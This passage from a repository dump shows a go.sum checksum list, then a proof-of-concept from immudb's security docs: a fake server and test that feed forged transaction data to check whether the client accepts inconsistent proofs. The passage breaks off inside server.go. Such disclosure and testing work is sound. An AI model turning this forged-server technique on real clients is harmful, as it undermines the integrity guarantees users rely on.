h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=\ngoogle.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=\ngoogle.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=\ngoogle.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=\ngoogle.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=\ngoogle.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A=\ngoogle.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=\ngoogle.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0=\ngoogle.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24=\ngoogle.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=\ngoogle.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k=\ngoogle.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=\ngoogle.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48=\ngoogle.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w=\ngoogle.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY=\ngoogle.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc=\ngoogle.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI=\ngoogle.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E=\ngoogle.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo=\ngoogle.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4=\ngoogle.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4=\ngoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f h1:BWUVssLB0HVOSY78gIdvk1dTVYtT1y8SBWtPYuTJ/6w=\ngoogle.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM=\ngoogle.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=\ngoogle.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=\ngoogle.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=\ngoogle.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=\ngoogle.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=\ngoogle.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=\ngoogle.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=\ngoogle.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=\ngoogle.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=\ngoogle.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0=\ngoogle.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc=\ngoogle.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8=\ngoogle.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU=\ngoogle.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM=\ngoogle.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=\ngoogle.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE=\ngoogle.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=\ngoogle.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34=\ngoogle.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU=\ngoogle.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ=\ngoogle.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk=\ngoogle.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk=\ngoogle.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc=\ngoogle.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw=\ngoogle.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw=\ngoogle.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=\ngoogle.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=\ngoogle.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=\ngoogle.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=\ngoogle.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=\ngoogle.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=\ngoogle.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=\ngoogle.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=\ngoogle.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=\ngoogle.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=\ngoogle.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngoogle.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=\ngoogle.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=\ngopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=\ngopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=\ngopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=\ngopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI=\ngopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=\ngopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=\ngopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=\ngopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\nhonnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=\nhonnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=\nhonnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nhonnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=\nrsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=\nrsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0=\nrsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA=\nsigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/go_client_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage main_test\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\tmain \"linear-fake\"\n\n\timmudb \"github.com/codenotary/immudb/pkg/client\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\n// Simple test routine for checking PoC vulnerability code\nfunc TestServer(t *testing.T) {\n\tsrv, err := main.GetFakeServer(t.TempDir(), 3322)\n\trequire.NoError(t, err)\n\n\tgo func() {\n\t\trequire.NoError(t, srv.Start())\n\t}()\n\tdefer srv.Stop()\n\n\tdefer func() {\n\t\tlist, err := filepath.Glob(\".state-*\")\n\t\trequire.NoError(t, err)\n\t\tfor _, e := range list {\n\t\t\terr := os.Remove(e)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\t}()\n\n\topts := immudb.DefaultOptions().\n\t\tWithAddress(\"localhost\").\n\t\tWithPort(3322)\n\n\tctx := context.Background()\n\n\tclient := immudb.NewClient().WithOptions(opts)\n\terr = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.NoError(t, err)\n\n\tdefer client.CloseSession(ctx)\n\n\t// get correct entries at TX 2\n\ttx2, err := client.VerifiedTxByID(ctx, 2)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 2, tx2.Header.Id)\n\trequire.Len(t, tx2.GetEntries(), 1)\n\trequire.Equal(t, \"valid-key-0\", string(tx2.GetEntries()[0].GetKey()))\n\n\t// transition to TX 3, verify consistency between TX 2 and TX 3\n\ttx3, err := client.VerifiedTxByID(ctx, 3)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 3, tx3.Header.Id)\n\trequire.Len(t, tx3.GetEntries(), 1)\n\trequire.Equal(t, \"valid-key-1\", string(tx3.GetEntries()[0].GetKey()))\n\n\t// transition to TX 5, verify consistency between TX3 and TX 5\n\ttx5, err := client.VerifiedTxByID(ctx, 5)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 5, tx5.Header.Id)\n\trequire.Len(t, tx5.GetEntries(), 1)\n\trequire.Equal(t, \"key-after-1\", string(tx5.GetEntries()[0].GetKey()))\n\n\t// verified get of TX2 with known state at TX 5 returning fake data\n\ttx2Fake, err := client.VerifiedTxByID(ctx, 2)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 2, tx2.Header.Id)\n\trequire.Len(t, tx2Fake.GetEntries(), 1)\n\trequire.Equal(t, \"fake-key\", string(tx2Fake.GetEntries()[0].GetKey()))\n}\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/main.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage main\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"os/signal\"\n\t\"syscall\"\n)\n\nfunc main() {\n\ttmpDir, err := os.MkdirTemp(\"\", \"\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdefer os.RemoveAll(tmpDir)\n\n\tsrv, err := GetFakeServer(tmpDir, 3322)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\texitSignal := make(chan os.Signal, 1)\n\tsignal.Notify(exitSignal, os.Interrupt, syscall.SIGTERM)\n\n\tgo srv.Start()\n\n\t<-exitSignal\n\tsrv.Stop()\n}\n"
  },
  {
    "path": "docs/security/vulnerabilities/linear-fake/server/server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\npackage main\n\nimport (\n\t\"context\"\n\t\"errors\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n)\n\ntype customDbList struct {\n\tdbList database.DatabaseList\n}\n\nfunc (l *customDbList) Put(db database.DB) {\n\tl.dbList.Put(db)\n}\n\nfunc (l *customDbList) Delete(dbName string) (database.DB, error) {\n\treturn l.dbList.Delete(dbName)\n}\n\nfunc (l *customDbList) GetByIndex(index int) (database.DB, error) {\n\treturn wrapDb(l.dbList.GetByIndex(index))\n}\n\nfunc (l *customDbList) GetByName(dbName string) (database.DB, error) {\n\treturn wrapDb(l.dbList.GetByName(dbName))\n}\n\nfunc (l *customDbList) GetId(dbName string) int {\n\treturn l.dbList.GetId(dbName)\n}\n\nfunc (l *customDbList) Length() int {\n\treturn l.dbList.Length()\n}\n\nfunc wrapDb(db database.DB, err error) (database.DB, error) {\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &dbWrapper{\n\t\tDB: db,\n\t}, nil\n}\n\ntype dbWrapper struct {\n\tdatabase.DB\n}\n\nfunc (db *dbWrapper) unsupported() error {\n\treturn errors.New(\n\t\t`unsupported operation for this test, please do the test using the following steps:\n  1. fetch transaction 2 with proof without prior state or with state at tx 2,\n     ensure transaction 2 contains key \"valid-key-0\"\n  2. get consistency proof between Tx 2 and Tx 3, store Tx 3 state\n  3. get consistency proof between Tx 3 and Tx 5, store Tx 5 state\n  4. fetch Tx 2 with consistency proof against Tx 5 again, server will respond with\n     a transaction that will contain \"fake-key\" entry\nvalid client should reject this sequence of actions`,\n\t)\n}\n\nfunc (db *dbWrapper) CurrentState() (*schema.ImmutableState, error) {\n\t// This call may happen when the client does not yet have a valid state\n\treturn stateQueryResult, nil\n}\n\nfunc (db 